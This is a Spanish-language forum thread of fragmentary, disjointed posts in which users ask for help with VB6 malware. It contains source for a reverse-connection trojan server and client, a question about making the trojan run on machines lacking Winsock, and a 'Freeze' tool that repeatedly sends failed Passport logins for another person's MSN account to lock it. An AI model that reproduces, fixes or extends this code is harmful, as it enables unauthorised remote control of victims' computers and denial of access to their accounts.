Mensajes

como compruebo el contenido de un listbox vb6??

gracias

ya esta, era lo de declarar el csocketmaster, pero tengo otro problema:

lo pruebo con mi ip local en un ordenador sin conexion a internet y funciona, lo pruebo en el ordenador q tengo internet y no funciona...
sera x el firewall o el antivirus???

gracias por vuestra ayuda

si he posteado todo - el cSocketMaster, voy ha hacer lo del msgbox aer si funciona...
pero me extraña...

gracias

q va arranco el server y el client en mi pc pongo ip 127.0.0.1 y no m funciona, en vez del winsck utilizo el cSocketMaster...
q puede pasar??
si kieres te envio el codigo x correo aer si encuentras tu el fallo...

gracias

Hola amigos!! les cuento mi problema:
Estoy haciendo un troyano de conexion inversa, y ni se me conecta!!, por eso subo el code
que es muy sencillito para que me ayudeis y de paso aprobecho para preguntar como hago para
que mi client me ponga en listbox cuales de mis servers intentan conectar conmigo, para, de
este modo, elegir a cual me conecto...
Bueno, no parece muy dificil, no??
Gracias por vuestra ayuda!!


*SERVIDOR:

Código [Seleccionar] Expandir


Public Sub Reconnect()
On Error GoTo Error
If Not WS.State = 7 Then
WS.CloseSck
WS.Connect Text1.Text, 6239 'en text1 pongo la ip publica del client
End If
Error:
End Sub

''''''''''''''''''''''''''''''''''

Private Sub connect_Click()
On Error Resume Next
WS.Connect Text1.Text, 6239
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
On Error GoTo Error
If Not WS.State = 7 Then
Call Reconnect
End If
If WS.State = 7 Then
Label3.Caption = "conectado"
Else
Label3.Caption = "desconectado"
End If
Error:
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo Error
Dim datos As String
WS.GetData datos
If datos = "prueba" Then
MsgBox "funciona!!"
End If
Error:
MsgBox "error en transmisión de datos"
End Sub


*CLIENTE:

Private Sub Escuchar_Click()
On Error Resume Next
WS.LocalPort = Text1.Text 'el puerto es 6239 al igual que el server
WS.CloseSck
WS.Listen
If WS.State = 2 Then
Label1.Caption = "Escuchando..."
End If
End Sub

Private Sub Send_Click()
WS.SendData Text2.Text 'envio datos
End Sub

Private Sub Exit_Click()
End
End Sub

Private Sub Timer1_Timer()'cada 2 seg
On Error GoTo Error
If WS.State = 7 Then
Label1.Caption = "Conectado"
Else
Label1.Caption = "Desconectado"
End If
If Label1.Caption = "Desconectado" Then
WS.CloseSck
WS.Listen
End If
Error:
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error GoTo Error
WS.CloseSck
WS.Accept requestID 'acepto toda conexion entrante
Label3.Caption = WS.RemoteHostIP 'me indica a que ip estoy conectado
Timer1.Enabled = True
Error:
End Sub


duda resuelta, gracias

alucinante!!!!!!!!!!!
buen trabajo

hola amigos, os cuento:
el server de mi troyan obviamente lleva winsocks, entonces si el ordenador no tiene el wnsck.ocx instalado da un error, me podeis decir como solucionar esto

gracias!

gracias amigo!

Aqui teneis el code, ya os digo que con uno me funciona de lujo, pero no se como poner 2 o mas para que me funcione correctamente,
si veis un error o teneis alguna solucion estaria muy agradecido.
salu2!!


Private Declare Function InitCommonControls Lib "comctl32.dll" () As Long
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" ( _
                 ByVal hHttpSession As Long, _
                 ByVal sVerb As String, _
                 ByVal sObjectName As String, _
                 ByVal sVersion As String, _
                 ByVal sReferer As String, _
                 ByVal something As Long, _
                 ByVal lFlags As Long, _
                 ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" ( _
                 ByVal hHttpRequest As Long, _
                 ByVal sHeaders As String, _
                 ByVal lHeadersLength As Long, _
                 ByVal sOptional As String, _
                 ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" ( _
                 ByVal hHttpRequest As Long, _
                 ByVal lInfoLevel As Long, _
                 ByRef sBuffer As Any, _
                 ByRef lBufferLength As Long, _
                 ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" ( _
                    ByVal hInet As Long) As Integer
Dim res As String
Dim num As Integer

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Private Sub Freeze_Click()
Command1.Enabled = False
Label1.Caption = "Connecting server..."
WS.Close
WS.RemoteHost = "messenger.hotmail.com"
WS.RemotePort = 1863
WS.Connect
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos
'MsgBox datos
Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & Text1.Text & Chr(13) & Chr(10)
Case "XFR"
Dim tmp() As String
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
Dim tmp2() As String
tmp2 = Split(datos, " ")
res = tmp2(4)
num = 0
Fridge1.caption = Text1.text
End select
End Sub

Private Sub Timer1_Timer()
Timer1.Enabled = False
If num < 10 Then
num = num + 1
Label1.Caption = "Freezing [" & num * 10 & "%]"
ElseIf num = 10 Then
num = num + 1
Label1.Caption = "OK!"
End If
Dim tmp2() As String, tmp3 As String, tmp4 As String, hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
tmp2 = Split(Fridge1.Caption, "@")
tmp4 = tmp2(0) & "%40" & tmp2(1)
tmp3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp4 & ",pwd=clapclap, " & res
lgRep = HttpSendRequest(hRequest, tmp3, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Timer1.Enabled = True
End Sub